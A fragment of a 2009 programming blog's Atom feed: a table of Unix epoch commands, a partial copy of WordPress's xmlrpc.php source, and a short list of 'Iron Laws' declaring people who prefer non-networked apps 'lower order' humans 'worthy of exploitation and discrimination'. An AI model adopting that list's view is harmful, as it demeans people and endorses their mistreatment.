href='http://www.blogger.com/feeds/7093359319812998391/posts/default/6917494211656565323'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2009/12/php-content-type-textplain-for-ajax.html' title='PHP Content-type: text/plain for Ajax'/><author><name>LanceMiller</name><uri>http://www.blogger.com/profile/12967321155433918187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_UVcOtPszHkk/Sair8hbKfUI/AAAAAAAADMw/25mZFjvXEAc/S220/Lance.Tokyo.Flight.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-4566214091569726395</id><published>2009-11-28T05:16:00.000-08:00</published><updated>2009-11-28T05:33:34.080-08:00</updated><title type='text'>Unix Epoch Time</title><content type='html'>&lt;pre&gt;
date +%s
&lt;/pre&gt;
&lt;p&gt;
The &lt;b&gt;Unix epoch&lt;/b&gt; (or &lt;b&gt;Unix time&lt;/b&gt; or &lt;b&gt;POSIX time&lt;/b&gt; or &lt;b&gt;Unix timestamp&lt;/b&gt;) is the number of seconds that have elapsed since January 1, 1970 (midnight UTC/GMT), not counting leap seconds (in ISO 8601: 1970-01-01T00:00:00Z). 
Literally speaking the epoch is Unix time 0 (midnight 1-1-1970), but 'epoch' is often used as a synonym for 'Unix time'. 
Many Unix systems store epoch dates as a signed 32-bit integer, which might cause problems on January 19, 2038 (known as the Year 2038 problem or Y2038).
&lt;/p&gt;
&lt;style&gt;
td.proglang {font-weight:bold;width:120px;vertical-align:top}
td.progcode {vertical-align:top}
&lt;/style&gt;

&lt;table border=0 cellspacing=0 cellpadding=2&gt;
&lt;tr&gt;&lt;td class="proglang"&gt;Perl&lt;/td&gt;&lt;td class="progcode"&gt;&lt;code&gt;time&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="proglang"&gt;PHP&lt;/td&gt;&lt;td class="progcode"&gt;&lt;code&gt;time()&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="proglang"&gt;Ruby&lt;/td&gt;&lt;td class="progcode"&gt;&lt;code&gt;Time.now&lt;/code&gt; (or &lt;code&gt;Time.new&lt;/code&gt;). To display the epoch: &lt;code&gt;Time.now.to_i&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="proglang"&gt;Python&lt;/td&gt;&lt;td class="progcode"&gt;&lt;code&gt;import time&lt;/code&gt; first, then &lt;code&gt;time.time()&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="proglang"&gt;Java&lt;/td&gt;&lt;td class="progcode"&gt;&lt;code&gt;long epoch = System.currentTimeMillis()/1000;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="proglang"&gt;Microsoft .NET C#&lt;/td&gt;&lt;td class="progcode"&gt;&lt;code&gt;epoch = (DateTime.Now.ToUniversalTime().Ticks - 621355968000000000) / 10000000;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="proglang"&gt;VBScript/ASP&lt;/td&gt;&lt;td class="progcode"&gt;&lt;code&gt;DateDiff("s", "01/01/1970 00:00:00", Now())&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="proglang"&gt;Erlang&lt;/td&gt;&lt;td class="progcode"&gt;&lt;code&gt;calendar:datetime_to_gregorian_seconds(calendar:now_to_universal_time( now()))-719528*24*3600.&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="proglang"&gt;MySQL&lt;/td&gt;&lt;td class="progcode"&gt;&lt;code&gt;SELECT unix_timestamp(now())&lt;/code&gt; &lt;a href="/epoch/mysql-from-unixtime.php"&gt;&lt;img src="/epoch/img/information.png" width=16 height=16 border=0 alt="More information"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="proglang"&gt;PostgreSQL&lt;/td&gt;&lt;td class="progcode"&gt;&lt;code&gt;SELECT extract(epoch FROM now());&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="proglang"&gt;SQL Server&lt;/td&gt;&lt;td class="progcode"&gt;&lt;code&gt;SELECT DATEDIFF(s, '1970-01-01 00:00:00', GETUTCDATE())&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="proglang"&gt;JavaScript&lt;/td&gt;&lt;td class="progcode"&gt;&lt;code&gt;Math.round(new Date().getTime()/1000.0)&lt;/code&gt; getTime() returns time in milliseconds.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="proglang"&gt;Unix/Linux&lt;/td&gt;&lt;td class="progcode"&gt;&lt;code&gt;date +%s&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="proglang"&gt;Other OS's &lt;/td&gt;&lt;td class="progcode"&gt;Command line: &lt;code&gt;perl -e "print time"&lt;/code&gt; (If Perl is installed on your system)&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-4566214091569726395?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/4566214091569726395/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=4566214091569726395' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/4566214091569726395'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/4566214091569726395'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2009/11/unix-epoch-time.html' title='Unix Epoch Time'/><author><name>LanceMiller</name><uri>http://www.blogger.com/profile/12967321155433918187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_UVcOtPszHkk/Sair8hbKfUI/AAAAAAAADMw/25mZFjvXEAc/S220/Lance.Tokyo.Flight.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-4819198042964507240</id><published>2009-11-25T06:13:00.000-08:00</published><updated>2009-11-25T06:26:32.038-08:00</updated><title type='text'>The Iron Laws of a Superior Mind</title><content type='html'>&lt;ol&gt;
&lt;li&gt;&lt;p&gt;
The network is where 21st century intelligence occurs. 
&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;
A computer is not capable of passing the Turing test, a network is capable of rendering individual human capacity for thought and communication a lower accomplishment.

&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;
To think without a computer network as cognitive aid is to have a lower thought.
&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;
To write a computer program that does not rely on a computer network is to be a lower programmer, and thus, a lower order human.
&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;
A person who prefers non-networked PC apps is  worthy of exploitation and discrimination. 
&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-4819198042964507240?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/4819198042964507240/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=4819198042964507240' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/4819198042964507240'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/4819198042964507240'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2009/11/iron-laws-of-superior-mind.html' title='The Iron Laws of a Superior Mind'/><author><name>LanceMiller</name><uri>http://www.blogger.com/profile/12967321155433918187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_UVcOtPszHkk/Sair8hbKfUI/AAAAAAAADMw/25mZFjvXEAc/S220/Lance.Tokyo.Flight.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-3404973501085304058</id><published>2009-11-23T06:15:00.000-08:00</published><updated>2009-11-23T06:18:55.091-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Wordpress'/><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><title type='text'>Wordpress xmlrpc.php</title><content type='html'>&lt;pre&gt;
&amp;#60;?php
/**
 * XML-RPC protocol support for WordPress
 *
 * @license GPL v2 &amp;#60;./license.txt&amp;#62;
 * @package WordPress
 */

/**
 * Whether this is a XMLRPC Request
 *
 * @var bool
 */
define('XMLRPC_REQUEST', true);

// Some browser-embedded clients send cookies. We don't want them.
$_COOKIE = array();

// A bug in PHP &amp;#60; 5.2.2 makes $HTTP_RAW_POST_DATA not set by default,
// but we can do it ourself.
if ( !isset( $HTTP_RAW_POST_DATA ) ) {
 $HTTP_RAW_POST_DATA = file_get_contents( 'php://input' );
}

// fix for mozBlog and other cases where '&amp;#60;?xml' isn't on the very first line
if ( isset($HTTP_RAW_POST_DATA) )
 $HTTP_RAW_POST_DATA = trim($HTTP_RAW_POST_DATA);

/** Include the bootstrap for setting up WordPress environment */
include('./wp-load.php');

if ( isset( $_GET['rsd'] ) ) { // http://archipelago.phrasewise.com/rsd
header('Content-Type: text/xml; charset=' . get_option('blog_charset'), true);
?&amp;#62;
&amp;#60;?php echo '&amp;#60;?xml version="1.0" encoding="'.get_option('blog_charset').'"?'.'&amp;#62;'; ?&amp;#62;
&amp;#60;rsd version="1.0" xmlns="http://archipelago.phrasewise.com/rsd"&amp;#62;
  &amp;#60;service&amp;#62;
    &amp;#60;engineName&amp;#62;WordPress&amp;#60;/engineName&amp;#62;
    &amp;#60;engineLink&amp;#62;http://wordpress.org/&amp;#60;/engineLink&amp;#62;
    &amp;#60;homePageLink&amp;#62;&amp;#60;?php bloginfo_rss('url') ?&amp;#62;&amp;#60;/homePageLink&amp;#62;
    &amp;#60;apis&amp;#62;
      &amp;#60;api name="WordPress" blogID="1" preferred="true" apiLink="&amp;#60;?php echo site_url('xmlrpc.php', 'rpc') ?&amp;#62;" /&amp;#62;
      &amp;#60;api name="Movable Type" blogID="1" preferred="false" apiLink="&amp;#60;?php echo site_url('xmlrpc.php', 'rpc') ?&amp;#62;" /&amp;#62;
      &amp;#60;api name="MetaWeblog" blogID="1" preferred="false" apiLink="&amp;#60;?php echo site_url('xmlrpc.php', 'rpc') ?&amp;#62;" /&amp;#62;
      &amp;#60;api name="Blogger" blogID="1" preferred="false" apiLink="&amp;#60;?php echo site_url('xmlrpc.php', 'rpc') ?&amp;#62;" /&amp;#62;
      &amp;#60;api name="Atom" blogID="" preferred="false" apiLink="&amp;#60;?php echo apply_filters('atom_service_url', site_url('wp-app.php/service', 'rpc') ) ?&amp;#62;" /&amp;#62;
    &amp;#60;/apis&amp;#62;
  &amp;#60;/service&amp;#62;
&amp;#60;/rsd&amp;#62;
&amp;#60;?php
exit;
}

include_once(ABSPATH . 'wp-admin/includes/admin.php');
include_once(ABSPATH . WPINC . '/class-IXR.php');

// Turn off all warnings and errors.
// error_reporting(0);

/**
 * Posts submitted via the xmlrpc interface get that title
 * @name post_default_title
 * @var string
 */
$post_default_title = "";

/**
 * Whether to enable XMLRPC Logging.
 *
 * @name xmlrpc_logging
 * @var int|bool
 */
$xmlrpc_logging = 0;

/**
 * logIO() - Writes logging info to a file.
 *
 * @uses $xmlrpc_logging
 * @package WordPress
 * @subpackage Logging
 *
 * @param string $io Whether input or output
 * @param string $msg Information describing logging reason.
 * @return bool Always return true
 */
function logIO($io,$msg) {
 global $xmlrpc_logging;
 if ($xmlrpc_logging) {
  $fp = fopen("../xmlrpc.log","a+");
  $date = gmdate("Y-m-d H:i:s ");
  $iot = ($io == "I") ? " Input: " : " Output: ";
  fwrite($fp, "\n\n".$date.$iot.$msg);
  fclose($fp);
 }
 return true;
}

if ( isset($HTTP_RAW_POST_DATA) )
 logIO("I", $HTTP_RAW_POST_DATA);

/**
 * WordPress XMLRPC server implementation.
 *
 * Implements compatability for Blogger API, MetaWeblog API, MovableType, and
 * pingback. Additional WordPress API for managing comments, pages, posts,
 * options, etc.
 *
 * Since WordPress 2.6.0, WordPress XMLRPC server can be disabled in the
 * administration panels.
 *
 * @package WordPress
 * @subpackage Publishing
 * @since 1.5.0
 */
class wp_xmlrpc_server extends IXR_Server {

 /**
  * Register all of the XMLRPC methods that XMLRPC server understands.
  *
  * PHP4 constructor and sets up server and method property. Passes XMLRPC
  * methods through the 'xmlrpc_methods' filter to allow plugins to extend
  * or replace XMLRPC methods.
  *
  * @since 1.5.0
  *
  * @return wp_xmlrpc_server
  */
 function wp_xmlrpc_server() {
  $this-&amp;#62;methods = array(
   // WordPress API
   'wp.getUsersBlogs'  =&amp;#62; 'this:wp_getUsersBlogs',
   'wp.getPage'   =&amp;#62; 'this:wp_getPage',
   'wp.getPages'   =&amp;#62; 'this:wp_getPages',
   'wp.newPage'   =&amp;#62; 'this:wp_newPage',
   'wp.deletePage'   =&amp;#62; 'this:wp_deletePage',
   'wp.editPage'   =&amp;#62; 'this:wp_editPage',
   'wp.getPageList'  =&amp;#62; 'this:wp_getPageList',
   'wp.getAuthors'   =&amp;#62; 'this:wp_getAuthors',
   'wp.getCategories'  =&amp;#62; 'this:mw_getCategories',  // Alias
   'wp.getTags'   =&amp;#62; 'this:wp_getTags',
   'wp.newCategory'  =&amp;#62; 'this:wp_newCategory',
   'wp.deleteCategory'  =&amp;#62; 'this:wp_deleteCategory',
   'wp.suggestCategories' =&amp;#62; 'this:wp_suggestCategories',
   'wp.uploadFile'   =&amp;#62; 'this:mw_newMediaObject', // Alias
   'wp.getCommentCount' =&amp;#62; 'this:wp_getCommentCount',
   'wp.getPostStatusList' =&amp;#62; 'this:wp_getPostStatusList',
   'wp.getPageStatusList' =&amp;#62; 'this:wp_getPageStatusList',
   'wp.getPageTemplates' =&amp;#62; 'this:wp_getPageTemplates',
   'wp.getOptions'   =&amp;#62; 'this:wp_getOptions',
   'wp.setOptions'   =&amp;#62; 'this:wp_setOptions',
   'wp.getComment'   =&amp;#62; 'this:wp_getComment',
   'wp.getComments'  =&amp;#62; 'this:wp_getComments',
   'wp.deleteComment'  =&amp;#62; 'this:wp_deleteComment',
   'wp.editComment'  =&amp;#62; 'this:wp_editComment',
   'wp.newComment'   =&amp;#62; 'this:wp_newComment',
   'wp.getCommentStatusList' =&amp;#62; 'this:wp_getCommentStatusList',

   // Blogger API
   'blogger.getUsersBlogs' =&amp;#62; 'this:blogger_getUsersBlogs',
   'blogger.getUserInfo' =&amp;#62; 'this:blogger_getUserInfo',
   'blogger.getPost' =&amp;#62; 'this:blogger_getPost',
   'blogger.getRecentPosts' =&amp;#62; 'this:blogger_getRecentPosts',
   'blogger.getTemplate' =&amp;#62; 'this:blogger_getTemplate',
   'blogger.setTemplate' =&amp;#62; 'this:blogger_setTemplate',
   'blogger.newPost' =&amp;#62; 'this:blogger_newPost',
   'blogger.editPost' =&amp;#62; 'this:blogger_editPost',
   'blogger.deletePost' =&amp;#62; 'this:blogger_deletePost',

   // MetaWeblog API (with MT extensions to structs)
   'metaWeblog.newPost' =&amp;#62; 'this:mw_newPost',
   'metaWeblog.editPost' =&amp;#62; 'this:mw_editPost',
   'metaWeblog.getPost' =&amp;#62; 'this:mw_getPost',
   'metaWeblog.getRecentPosts' =&amp;#62; 'this:mw_getRecentPosts',
   'metaWeblog.getCategories' =&amp;#62; 'this:mw_getCategories',
   'metaWeblog.newMediaObject' =&amp;#62; 'this:mw_newMediaObject',

   // MetaWeblog API aliases for Blogger API
   // see http://www.xmlrpc.com/stories/storyReader$2460
   'metaWeblog.deletePost' =&amp;#62; 'this:blogger_deletePost',
   'metaWeblog.getTemplate' =&amp;#62; 'this:blogger_getTemplate',
   'metaWeblog.setTemplate' =&amp;#62; 'this:blogger_setTemplate',
   'metaWeblog.getUsersBlogs' =&amp;#62; 'this:blogger_getUsersBlogs',

   // MovableType API
   'mt.getCategoryList' =&amp;#62; 'this:mt_getCategoryList',
   'mt.getRecentPostTitles' =&amp;#62; 'this:mt_getRecentPostTitles',
   'mt.getPostCategories' =&amp;#62; 'this:mt_getPostCategories',
   'mt.setPostCategories' =&amp;#62; 'this:mt_setPostCategories',
   'mt.supportedMethods' =&amp;#62; 'this:mt_supportedMethods',
   'mt.supportedTextFilters' =&amp;#62; 'this:mt_supportedTextFilters',
   'mt.getTrackbackPings' =&amp;#62; 'this:mt_getTrackbackPings',
   'mt.publishPost' =&amp;#62; 'this:mt_publishPost',

   // PingBack
   'pingback.ping' =&amp;#62; 'this:pingback_ping',
   'pingback.extensions.getPingbacks' =&amp;#62; 'this:pingback_extensions_getPingbacks',

   'demo.sayHello' =&amp;#62; 'this:sayHello',
   'demo.addTwoNumbers' =&amp;#62; 'this:addTwoNumbers'
  );

  $this-&amp;#62;initialise_blog_option_info( );
  $this-&amp;#62;methods = apply_filters('xmlrpc_methods', $this-&amp;#62;methods);
  $this-&amp;#62;IXR_Server($this-&amp;#62;methods);
 }

 /**
  * Test XMLRPC API by saying, "Hello!" to client.
  *
  * @since 1.5.0
  *
  * @param array $args Method Parameters.
  * @return string
  */
 function sayHello($args) {
  return 'Hello!';
 }

 /**
  * Test XMLRPC API by adding two numbers for client.
  *
  * @since 1.5.0
  *
  * @param array $args Method Parameters.
  * @return int
  */
 function addTwoNumbers($args) {
  $number1 = $args[0];
  $number2 = $args[1];
  return $number1 + $number2;
 }

 /**
  * Check user's credentials.
  *
  * @since 1.5.0
  *
  * @param string $user_login User's username.
  * @param string $user_pass User's password.
  * @return bool Whether authentication passed.
  * @deprecated use wp_xmlrpc_server::login
  * @see wp_xmlrpc_server::login
  */
 function login_pass_ok($user_login, $user_pass) {
  if ( !get_option( 'enable_xmlrpc' ) ) {
   $this-&amp;#62;error = new IXR_Error( 405, sprintf( __( 'XML-RPC services are disabled on this blog.  An admin user can enable them at %s'),  admin_url('options-writing.php') ) );
   return false;
  }

  if (!user_pass_ok($user_login, $user_pass)) {
   $this-&amp;#62;error = new IXR_Error(403, __('Bad login/pass combination.'));
   return false;
  }
  return true;
 }

 /**
  * Log user in.
  *
  * @since 2.8
  *
  * @param string $username User's username.
  * @param string $password User's password.
  * @return mixed WP_User object if authentication passed, false otherwise
  */
 function login($username, $password) {
  if ( !get_option( 'enable_xmlrpc' ) ) {
   $this-&amp;#62;error = new IXR_Error( 405, sprintf( __( 'XML-RPC services are disabled on this blog.  An admin user can enable them at %s'),  admin_url('options-writing.php') ) );
   return false;
  }

  $user = wp_authenticate($username, $password);

  if (is_wp_error($user)) {
   $this-&amp;#62;error = new IXR_Error(403, __('Bad login/pass combination.'));
   return false;
  }

  set_current_user( $user-&amp;#62;ID );
  return $user;
 }

 /**
  * Sanitize string or array of strings for database.
  *
  * @since 1.5.2
  *
  * @param string|array $array Sanitize single string or array of strings.
  * @return string|array Type matches $array and sanitized for the database.
  */
 function escape(&amp;$array) {
  global $wpdb;

  if(!is_array($array)) {
   return($wpdb-&amp;#62;escape($array));
  }
  else {
   foreach ( (array) $array as $k =&amp;#62; $v ) {
    if (is_array($v)) {
     $this-&amp;#62;escape($array[$k]);
    } else if (is_object($v)) {
     //skip
    } else {
     $array[$k] = $wpdb-&amp;#62;escape($v);
    }
   }
  }
 }

 /**
  * Retrieve custom fields for post.
  *
  * @since 2.5.0
  *
  * @param int $post_id Post ID.
  * @return array Custom fields, if exist.
  */
 function get_custom_fields($post_id) {
  $post_id = (int) $post_id;

  $custom_fields = array();

  foreach ( (array) has_meta($post_id) as $meta ) {
   // Don't expose protected fields.
   if ( strpos($meta['meta_key'], '_wp_') === 0 ) {
    continue;
   }

   $custom_fields[] = array(
    "id"    =&amp;#62; $meta['meta_id'],
    "key"   =&amp;#62; $meta['meta_key'],
    "value" =&amp;#62; $meta['meta_value']
   );
  }

  return $custom_fields;
 }

 /**
  * Set custom fields for post.
  *
  * @since 2.5.0
  *
  * @param int $post_id Post ID.
  * @param array $fields Custom fields.
  */
 function set_custom_fields($post_id, $fields) {
  $post_id = (int) $post_id;

  foreach ( (array) $fields as $meta ) {
   if ( isset($meta['id']) ) {
    $meta['id'] = (int) $meta['id'];

    if ( isset($meta['key']) ) {
     update_meta($meta['id'], $meta['key'], $meta['value']);
    }
    else {
     delete_meta($meta['id']);
    }
   }
   else {
    $_POST['metakeyinput'] = $meta['key'];
    $_POST['metavalue'] = $meta['value'];
    add_meta($post_id);
   }
  }
 }

 /**
  * Setup blog options property.
  *
  * Passes property through 'xmlrpc_blog_options' filter.
  *
  * @since 2.6.0
  */
 function initialise_blog_option_info( ) {
  global $wp_version;

  $this-&amp;#62;blog_options = array(
   // Read only options
   'software_name'  =&amp;#62; array(
    'desc'   =&amp;#62; __( 'Software Name' ),
    'readonly'  =&amp;#62; true,
    'value'   =&amp;#62; 'WordPress'
   ),
   'software_version' =&amp;#62; array(
    'desc'   =&amp;#62; __( 'Software Version' ),
    'readonly'  =&amp;#62; true,
    'value'   =&amp;#62; $wp_version
   ),
   'blog_url'   =&amp;#62; array(
    'desc'   =&amp;#62; __( 'Blog URL' ),
    'readonly'  =&amp;#62; true,
    'option'  =&amp;#62; 'siteurl'
   ),

   // Updatable options
   'time_zone'   =&amp;#62; array(
    'desc'   =&amp;#62; __( 'Time Zone' ),
    'readonly'  =&amp;#62; false,
    'option'  =&amp;#62; 'gmt_offset'
   ),
   'blog_title'  =&amp;#62; array(
    'desc'   =&amp;#62; __( 'Blog Title' ),
    'readonly'  =&amp;#62; false,
    'option'   =&amp;#62; 'blogname'
   ),
   'blog_tagline'  =&amp;#62; array(
    'desc'   =&amp;#62; __( 'Blog Tagline' ),
    'readonly'  =&amp;#62; false,
    'option'  =&amp;#62; 'blogdescription'
   ),
   'date_format'  =&amp;#62; array(
    'desc'   =&amp;#62; __( 'Date Format' ),
    'readonly'  =&amp;#62; false,
    'option'  =&amp;#62; 'date_format'
   ),
   'time_format'  =&amp;#62; array(
    'desc'   =&amp;#62; __( 'Time Format' ),
    'readonly'  =&amp;#62; false,
    'option'  =&amp;#62; 'time_format'
   )
  );

  $this-&amp;#62;blog_options = apply_filters( 'xmlrpc_blog_options', $this-&amp;#62;blog_options );
 }

 /**
  * Retrieve the blogs of the user.
  *
  * @since 2.6.0
  *
  * @param array $args Method parameters.
  * @return array
  */
 function wp_getUsersBlogs( $args ) {
  // If this isn't on WPMU then just use blogger_getUsersBlogs
  if( !function_exists( 'is_site_admin' ) ) {
   array_unshift( $args, 1 );
   return $this-&amp;#62;blogger_getUsersBlogs( $args );
  }

  $this-&amp;#62;escape( $args );

  $username = $args[0];
  $password = $args[1];

  if ( !$user = $this-&amp;#62;login($username, $password) ) {
   return $this-&amp;#62;error;
  }

  do_action( 'xmlrpc_call', 'wp.getUsersBlogs' );

  $blogs = (array) get_blogs_of_user( $user-&amp;#62;ID );
  $struct = array( );

  foreach( $blogs as $blog ) {
   // Don't include blogs that aren't hosted at this site
   if( $blog-&amp;#62;site_id != $current_site-&amp;#62;id )
    continue;

   $blog_id = $blog-&amp;#62;userblog_id;
   switch_to_blog($blog_id);
   $is_admin = current_user_can('level_8');

   $struct[] = array(
    'isAdmin'  =&amp;#62; $is_admin,
    'url'   =&amp;#62; get_option( 'home' ) . '/',
    'blogid'  =&amp;#62; $blog_id,
    'blogName'  =&amp;#62; get_option( 'blogname' ),
    'xmlrpc'  =&amp;#62; site_url( 'xmlrpc.php' )
   );

   restore_current_blog( );
  }

  return $struct;
 }

 /**
  * Retrieve page.
  *
  * @since 2.2.0
  *
  * @param array $args Method parameters.
  * @return array
  */
 function wp_getPage($args) {
  $this-&amp;#62;escape($args);

  $blog_id = (int) $args[0];
  $page_id = (int) $args[1];
  $username = $args[2];
  $password = $args[3];

  if ( !$user = $this-&amp;#62;login($username, $password) ) {
   return $this-&amp;#62;error;
  }

  if( !current_user_can( 'edit_page', $page_id ) )
   return new IXR_Error( 401, __( 'Sorry, you cannot edit this page.' ) );

  do_action('xmlrpc_call', 'wp.getPage');

  // Lookup page info.
  $page = get_page($page_id);

  // If we found the page then format the data.
  if($page-&amp;#62;ID &amp;&amp; ($page-&amp;#62;post_type == "page")) {
   // Get all of the page content and link.
   $full_page = get_extended($page-&amp;#62;post_content);
   $link = post_permalink($page-&amp;#62;ID);

   // Get info the page parent if there is one.
   $parent_title = "";
   if(!empty($page-&amp;#62;post_parent)) {
    $parent = get_page($page-&amp;#62;post_parent);
    $parent_title = $parent-&amp;#62;post_title;
   }

   // Determine comment and ping settings.
   $allow_comments = comments_open($page-&amp;#62;ID) ? 1 : 0;
   $allow_pings = pings_open($page-&amp;#62;ID) ? 1 : 0;

   // Format page date.
   $page_date = mysql2date("Ymd\TH:i:s", $page-&amp;#62;post_date, false);
   $page_date_gmt = mysql2date("Ymd\TH:i:s", $page-&amp;#62;post_date_gmt, false);

   // For drafts use the GMT version of the date
   if ( $page-&amp;#62;post_status == 'draft' ) {
    $page_date_gmt = get_gmt_from_date( mysql2date( 'Y-m-d H:i:s', $page-&amp;#62;post_date ), 'Ymd\TH:i:s' );
   }

   // Pull the categories info together.
   $categories = array();
   foreach(wp_get_post_categories($page-&amp;#62;ID) as $cat_id) {
    $categories[] = get_cat_name($cat_id);
   }

   // Get the author info.
   $author = get_userdata($page-&amp;#62;post_author);

   $page_template = get_post_meta( $page-&amp;#62;ID, '_wp_page_template', true );
   if( empty( $page_template ) )
    $page_template = 'default';

   $page_struct = array(
    "dateCreated"   =&amp;#62; new IXR_Date($page_date),
    "userid"    =&amp;#62; $page-&amp;#62;post_author,
    "page_id"    =&amp;#62; $page-&amp;#62;ID,
    "page_status"   =&amp;#62; $page-&amp;#62;post_status,
    "description"   =&amp;#62; $full_page["main"],
    "title"     =&amp;#62; $page-&amp;#62;post_title,
    "link"     =&amp;#62; $link,
    "permaLink"    =&amp;#62; $link,
    "categories"   =&amp;#62; $categories,
    "excerpt"    =&amp;#62; $page-&amp;#62;post_excerpt,
    "text_more"    =&amp;#62; $full_page["extended"],
    "mt_allow_comments"  =&amp;#62; $allow_comments,
    "mt_allow_pings"  =&amp;#62; $allow_pings,
    "wp_slug"    =&amp;#62; $page-&amp;#62;post_name,
    "wp_password"   =&amp;#62; $page-&amp;#62;post_password,
    "wp_author"    =&amp;#62; $author-&amp;#62;display_name,
    "wp_page_parent_id"  =&amp;#62; $page-&amp;#62;post_parent,
    "wp_page_parent_title" =&amp;#62; $parent_title,
    "wp_page_order"   =&amp;#62; $page-&amp;#62;menu_order,
    "wp_author_id"   =&amp;#62; $author-&amp;#62;ID,
    "wp_author_display_name" =&amp;#62; $author-&amp;#62;display_name,
    "date_created_gmt"  =&amp;#62; new IXR_Date($page_date_gmt),
    "custom_fields"   =&amp;#62; $this-&amp;#62;get_custom_fields($page_id),
    "wp_page_template"  =&amp;#62; $page_template
   );

   return($page_struct);
  }
  // If the page doesn't exist indicate that.
  else {
   return(new IXR_Error(404, __("Sorry, no such page.")));
  }
 }

 /**
  * Retrieve Pages.
  *
  * @since 2.2.0
  *
  * @param array $args Method parameters.
  * @return array
  */
 function wp_getPages($args) {
  $this-&amp;#62;escape($args);

  $blog_id = (int) $args[0];
  $username = $args[1];
  $password = $args[2];
  $num_pages = (int) $args[3];

  if ( !$user = $this-&amp;#62;login($username, $password) ) {
   return $this-&amp;#62;error;
  }

  if( !current_user_can( 'edit_pages' ) )
   return new IXR_Error( 401, __( 'Sorry, you cannot edit pages.' ) );

  do_action('xmlrpc_call', 'wp.getPages');

  $page_limit = 10;
  if( isset( $num_pages ) ) {
   $page_limit = $num_pages;
  }

  $pages = get_posts( array('post_type' =&amp;#62; 'page', 'post_status' =&amp;#62; 'all', 'numberposts' =&amp;#62; $page_limit) );
  $num_pages = count($pages);

  // If we have pages, put together their info.
  if($num_pages &amp;#62;= 1) {
   $pages_struct = array();

   for($i = 0; $i &amp;#60; $num_pages; $i++) {
    $page = wp_xmlrpc_server::wp_getPage(array(
     $blog_id, $pages[$i]-&amp;#62;ID, $username, $password
    ));
    $pages_struct[] = $page;
   }

   return($pages_struct);
  }
  // If no pages were found return an error.
  else {
   return(array());
  }
 }

 /**
  * Create new page.
  *
  * @since 2.2.0
  *
  * @param array $args Method parameters.
  * @return unknown
  */
 function wp_newPage($args) {
  // Items not escaped here will be escaped in newPost.
  $username = $this-&amp;#62;escape($args[1]);
  $password = $this-&amp;#62;escape($args[2]);
  $page  = $args[3];
  $publish = $args[4];

  if ( !$user = $this-&amp;#62;login($username, $password) ) {
   return $this-&amp;#62;error;
  }

  do_action('xmlrpc_call', 'wp.newPage');

  // Make sure the user is allowed to add new pages.
  if(!current_user_can("publish_pages")) {
   return(new IXR_Error(401, __("Sorry, you cannot add new pages.")));
  }

  // Mark this as content for a page.
  $args[3]["post_type"] = "page";

  // Let mw_newPost do all of the heavy lifting.
  return($this-&amp;#62;mw_newPost($args));
 }

 /**
  * Delete page.
  *
  * @since 2.2.0
  *
  * @param array $args Method parameters.
  * @return bool True, if success.
  */
 function wp_deletePage($args) {
  $this-&amp;#62;escape($args);

  $blog_id = (int) $args[0];
  $username = $args[1];
  $password = $args[2];
